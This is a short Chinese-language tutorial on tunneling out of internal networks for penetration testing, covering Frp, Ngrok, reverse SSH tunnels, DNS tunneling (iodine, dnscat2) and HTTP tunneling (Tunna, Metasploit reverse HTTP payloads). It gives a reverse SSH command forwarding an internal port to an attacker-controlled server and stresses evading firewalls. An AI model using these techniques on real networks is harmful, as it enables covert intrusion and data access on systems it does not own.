### 如何进行内网穿透

1. 反向代理与隧道技术

这是最常用也是最稳定的内网穿透方式。其原理是让内网主机主动连接公网服务器，并建立一个持久的通信隧道

工具：Frp

Frp 是一个高性能的反向代理应用，支持 TCP、UDP、HTTP、HTTPS 等多种协议，它可以将内网服务暴露给公网

工作流程：

- 公网服务器（VPS）： 运行 `frps`（服务端），监听一个端口
- 内网主机（目标机器）： 运行 `frpc`（客户端），连接到公网服务器
- 配置： 在 `frpc.ini` 配置文件中指定要暴露的内网服务（如 SSH 服务、Web 服务），并将其转发到公网服务器的指定端口上

Frp 优点：

- 多协议支持： 几乎可以转发任何类型的流量
- 配置简单： 配置文件清晰，易于上手
- 性能优秀： 资源占用低，转发速度快
- 隐蔽性： 流量经过加密，且内网主机是主动出站连接，不易被防火墙拦截

工具：Ngrok

Ngrok 提供了类似的隧道服务，但它通常需要注册账号，并且免费版有诸多限制。对于渗透测试来说，自己搭建的 Frp 更灵活、更可靠

2. SSH 隧道

SSH 隧道利用 SSH 协议来转发流量，是许多渗透测试工程师的首选工具，因为它在大多数 Linux 和 macOS 系统中都自带了 SSH 客户端

反向 SSH 隧道

原理： 攻击者在公网服务器上监听一个端口，然后让内网主机使用 `ssh -R` 命令，将内网的端口映射到公网服务器上

示例： 假设内网Web服务运行在 `127.0.0.1:8080`，公网VPS IP 为 `203.0.113.10`。 在内网主机上执行： `ssh -R 8080:127.0.0.1:8080 user@203.0.113.10`

- `-R`：表示反向端口转发
- `8080`：公网服务器上的监听端口
- `127.0.0.1:8080`：内网服务的地址和端口
- `user@203.0.113.10`：公网服务器的登录信息

现在，你就可以通过访问 `http://203.0.113.10:8080` 来访问内网的 Web 服务了

SSH 隧道优点：

- 原生支持： 无需额外安装工具
- 加密： 流量全程加密，安全可靠
- 易用性： 命令行简单，操作便捷

3. DNS 隧道

在一些网络环境极端受限（如只允许 DNS 请求通过）的情况下，DNS 隧道是一种非常隐蔽且有效的穿透方式

原理： 将需要传输的数据编码为域名请求（DNS Query），发送到攻击者控制的公网 DNS 服务器。公网服务器接收到请求后，将其解码，然后将响应数据编码在 DNS 响应（DNS Reply）中返回

工具：

- iodine： 这是一个流行的 DNS 隧道工具
- dnscat2： 另一个功能强大的 DNS 隧道工具，可以模拟一个交互式 Shell

DNS 隧道优点：

- 极度隐蔽： DNS 流量通常不被防火墙严格审查，容易绕过限制
- 穿透力强： 几乎可以在任何网络环境中工作

DNS 隧道缺点：

- 速度慢： 由于 DNS 协议的限制，传输速度非常慢，不适合传输大量数据
- 不稳定： 容易受到网络波动影响

4. HTTP/HTTPS 隧道

当目标网络只允许 HTTP/HTTPS 流量出站时，可以利用 HTTP/HTTPS 隧道

原理： 将流量伪装成 HTTP/HTTPS 请求，通过公网服务器的 Web 代理或隧道工具进行转发

工具：

- Tunna： 一个利用 HTTP 协议进行 TCP 隧道转发的工具
- meterpreter 的 Reverse HTTP/HTTPS Payload： Metasploit 框架中的反向 shell，其流量就是通过 HTTP/HTTPS 隧道传输的

HTTP/HTTPS 隧道优点：

- 绕过代理： 能够穿透只允许 Web 流量的网络
- 隐蔽性好： 流量伪装成正常浏览行为，不易被发现